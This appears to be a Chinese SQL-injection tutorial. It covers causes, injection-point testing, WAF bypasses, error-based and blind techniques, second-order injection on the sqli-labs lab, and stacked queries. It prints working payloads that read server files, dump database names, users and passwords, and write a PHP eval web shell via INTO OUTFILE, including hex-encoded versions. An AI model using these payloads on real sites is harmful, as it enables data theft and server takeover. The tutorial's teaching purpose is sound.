本篇文章给大家带来了sql注入的相关知识,SQL注入是服务端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为,希望对大家有帮助。
SQL是什么?
结构化查询语⾔(Structured Query Language ,SQL),是⼀种特殊的编程语⾔,⽤于数据库的标准数据查询。1986 年10 ⽉美国国家标准协会对SQL 进⾏了规范后,以此作为关系型数据库系统的标准语⾔。1987 年得到了国际标准组织的⽀持,成为了国际标准。
什么是SQL注入
SQL注入是服务端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为
漏洞原理
SQL 注⼊的攻击⾏为可以描述为通过⽤户可控参数中注⼊SQL 语法,破坏原有SQL 结构,达到编写程序时意料之外结果的攻击⾏为。其成因可以归结为以下两个原因叠加造成的。
- 程序员在处理程序和数据库交互时,使⽤字符串拼接的⽅式构造SQL 语句
- 未对⽤户可控参数进⾏⾜够的过滤,便将参数内容拼接到SQL 语句中
漏洞原因
- 用户能够控制输入
- 是对于输入检查不充分,导致SQL语句将用户提交的非法数据当作语句的一部分来执行
为什么会有SQL注入
- 代码对带入SQL语句的参数过滤不严格
- 未启用框架的安全配置,例如:PHP的magic_quotes_gpc
- 未使用框架安全的查询方法
- 测试接口没有删除
- 未启用防火墙
- 未使用其他的安全防护设备
注⼊点可能存在的位置
根据SQL 注⼊漏洞的原理,⽤户“可控参数”中注⼊SQL 与发,也就是说Web 应⽤获取⽤户输⼊的地⽅,只要带⼊数据库查询,都有存在SQL 注⼊的可能,这些地⽅通常包括:
- GET 数据
- POST 数据
- Cookie 数据
- HTTP 头部(HTTP 头部中的其他字段)
漏洞危害
- 数据库信息泄漏、获取、修改敏感数据:数据库中存放的用户的隐私信息(帐号、密码)的泄露
- 绕过登录验证:使用万能密码登录网站后台等
- 文件系统操作:列目录,读取、写入文件等
- 网页篡改:通过操作数据库对特定网页进行篡改,嵌入网马链接,进行挂马攻击
- 注册表操作:读取、写入、删除注册表等
- 执行系统命令:远程执行命令
- 服务器被远程控制、种植木马:黑客可以修改或控制操作系统
提交方法
提交方法有:get、post、cookie、request等
其中:request支持度较好,你把参数以get方式、post方式、cookie方式提交都是可以的
判断注入点
会在疑似注⼊点的地⽅或者参数后⾯尝试提交数据,从而进⾏判断是否存在SQL 注⼊漏洞。
测试数据 | 测试判断 | 攻击思路 |
---|---|---|
-1或+1 | 是否能够回显上⼀个或者下⼀个页面(判断是否有回显) | 联合注入 |
' 或" |
是否显示数据库错误信息;回显的页面是否不同(字符型还是数字型) | 报错注入 |
and 1=1 或者 and 1=2 | 回显的页面是否不同(判断页面是否有布尔类型的状态) | 布尔盲注 |
and sleep(5) | 判断页面的返回时间 | 延时注入 |
判断转义 | ||
注意:如果你对着一个网站测试的时候,出现404,或者页面跳转,说明网站有防护
判断字符型还是数字型
如下图,一般来说,id之类的参数后面跟的是数字型(也有可能是字符型),别的参数后面跟的是字符型
sql注入绕过
- 大小写绕过
- 双写关键字绕过
- 特殊编码绕过
如果有些字符串确实被限制的很严格,我们可以尝试一些编码绕过。
如URLEncode编码,ASCII、HEX、unicode编码绕过:
- or 1=1即%6f%72%20%31%3d%31,
- Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
- 空格过滤绕过
- 过滤函数绕过
- sleep() ——> benchmark()
- substr()、substring()、mid()可以相互替换
- user() ——> @@user() 、datadir ——> @@datadir
- ord() ——> ascii() :这两个函数在处理英文时效果一样,但处理中文时效果不一样
- ascii ——> hex()、bin():替代之后再使用对应的进制转string即可
- group_concat() ——> concat_ws()
- 内联注释绕过
/*!...*/
在MySQL里,/**/是多行注释,这个是SQL的标准,但是MySQL扩张了解释的功能,如果在开头的的/*后头加了感叹号/*!50001sleep(3)*/
,那么此注释里的语句将被执行。
/*!50001 select * from test */;
这里的50001表示假如 数据库是5.00.01以上版本,该语句才会被执行,对于有些waf我们可以通过这种方式进行绕过。
获取网站路径
路径常见获取方法:
- 报错显示
- 遗留文件
别用百度,用谷歌搜索inurl:phpinfo.php
漏洞报错、平台配置文件、爆破等
SQL 注入读写文件
可以利用SQL 注入漏洞进行文件读写。
利用的前提条件:
1. 数据库支持文件读写
这里涉及到1个变量secure_file_priv
,该参数在高版本的 mysql 数据库中限制了文件的导入导出操作。若要配置此参数,需要修改 my.ini 配置文件,并重启 mysql 服务【其在Phpstudy中默认是NULL,不允许读写文件】
参数 | 含义 |
---|---|
secure_file_priv=NULL | 限制mysqld 不允许导入导出操作 |
secure_file_priv=‘c:/a/’ | 会限制mysqld 的导入导出操作在某个固定目录下,并且子目录有效 |
secure_file_priv= | 不对mysqld 的导入导出操作做限制 |
修改配置文件,对读写不做限制,文件路径C:phpStudyMySQLmy.ini
,该操作比较敏感,需要在mysql的配置文件中操作,在phpmyadmin网页中不能修改
2. 当前用户具有文件权限
- 获知当前用户和主机名
?id=-1'union select 1,current_user(),3 --+
- 查看有无权限
?id=-1' union select 1,File_priv,3 from mysql.user where user="root" and host="localhost"--+
方法2:
select File_priv from mysql.user where user="root" and host="localhost";
3. 知道文件绝对路径
- 读取文件,使用 load_file
下面两种方法一样
?id=1' and 1=2 union select 1,load_file('c:\windows\system32\drivers\etc\hosts'),3 --+ ?id=1' and 1=2 union select 1,load_file('c:/windows/system32/drivers/etc/hosts'),3 --+
- 写入文件,使用 into_outfile
这里需要注意,写16进制是直接写,写明文的话,需要用引号给包住
写phpinfo,没有报错就说明写入成功,可以直接访问写入的文件地址
# 1. 直接写 ?id=-1' union select 1,'<?php phpinfo();?>',3 into outfile 'c:\phpstudy\www\hack.php'--+ # 2. 改写成16进制 ?id=1' and 1=2 union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile 'c:/phpstudy/www/hack.php' --+
写一句话木马
# 1. 直接写 ?id=1' and 1=2 union select 1,'<?=@eval($_REQUEST[404])?>',3 into outfile 'c:/phpstudy/www/hack1.php' --+ # 2. 改写成16进制 ?id=1' and 1=2 union select 1,0x3c3f3d406576616c28245f524551554553545b3430345d293f3e,3 into outfile 'c:/phpstudy/www/hack1.php' --+
查询方式及报错盲注⭐
在进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入,提前了解或预知其SQL语句的大概写法也能更好的选择对应的注入语句。
更详细的介绍,请参见下一篇文章 《SQL注入的常见方式》
查询方式
重点理解:我们可以通过下面的查询方式和网站应用的关系、注入点产生地方、应用猜测到对方的SQL查询方式
查询方法举例说明
- select:查询数据在网站应用中进行数据显示查询操作
举例:select * from news where id=$id
- insert:插入数据在网站应用中进行用户注册添加等操作
举例:insert into news(id,url,text) values(2,'x','$t')
- delete:删除数据后台管理里面删除文章删除用户等操作
举例:delete from news where id=$id
- update更新数据会员或后台中心数据同步或缓存等操作
举例:update user set pwd='$p' where id=2 and username='admin'
- order by排序数据一般结合表名或列名进行数据排序操作
举例:select * from news order by $id
举例:select id,name,price from news order by $order
报错盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试。
这个过程称之为盲注。我们可以知道盲注分为以下三类:
-
基于布尔的SQL盲注-逻辑判断(不回显)
regexp,like,ascii,left,ord,mid -
基于时间的SQ盲注-延时判断(不回显)
if,sleep -
基于报错的SQL盲注-(强制)报错回显
floor,updatexml,extractvalue
报错模板:https://www.jianshu.com/p/bc35f8dd4f7c
报错注入函数
- floor()
- floor(x),返回小于或等于x的最大整数。
- payload:select conut(*),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x;
- x表示concat(database(),rand(0)*2),rand(0)以0为随机种子产生0-1之间的随机数,*2产生0-2之间的随机数。
- 报错原因:主键重复,必需:count()、rand()、group by
- 分析链接:https://xz.aliyun.com/t/253#toc-2
- exp()
- exp(x)返回e^x。
- 当x的值足够大的时候就会导致函数的结果数据类型溢出,也就会因此报错
- payload:id =1 and EXP(~(SELECT * from(select user())a))
- updatexml()
利用的就是mysql函数参数格式错误进行报错注入。
updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value);
- 函数语法解析:
- XML_document:是字符串String格式,为XML文档对象名称
- Xpath_string:Xpath格式的字符串
- new_value:string格式,替换查找到的符合条件的数据
适用版本是:5.1.5+
利用方式:在执行两个函数时,如果出现xml文件路径错误,就会产生报错 那么我们就需要构造Xpath_string格式错误,也就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错
- extractvalue()
利用的原理是xpath格式不符报错注入。
函数语法:extractvalue(XML_document,XPath_string)
适用的版本:5.1.5+
1. 获取当前是数据库名称及使用mysql数据库的版本信息: and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) 2. 获取当前注入点的用户权限信息及操作系统版本信息: and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e,user(),0x7e)) 3. 获取当前位置所用数据库的位置: and extractvalue(1,concat(0x7e,@@datadir,0x7e)) 4. 获取数据表信息: and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) 5. 获取users数据表的列名信息: and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) 6. 获取对应的列名的信息(usernamepassword): and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))
二次注入
二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。
原理
二次注入的原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes
或者是借助 get_magic_quotes_gpc
对其中的特殊字符进行了转义,但是addslashes
有一个特点就是虽然参数在过滤后会添加进行转义,但是
并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
实施步骤
- 插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容
- 引用恶意数据
举例
这里使用的是sql-libs靶场的第24关
- 首先看一下最开始的时候,靶机的数据库是什么样子的,这里以其中的用户dhakkan来演示
- 注册一个新用户
-
注册了一个新用户之后的数据库如下
-
新用户登录,并重置密码
-
查看数据库,有意思的事情发生了,dhakkan的密码改变了,但是新用户的密码没有改变
- 在第24关的源代码中,可以看到原因,如下图
堆叠查询
堆叠注入(Stacked injections),从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ;
表示语句结束。这样我们就想到了是不是可以多句一起使用。于是出现了堆叠注入(又称堆叠查询)
注意事项:
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁
DNSlog
DNSlog 就是存储在 DNS Server 上的域名信息,它记录着用户对域名 www.baidu.com 等的访问信息,类似日志文件。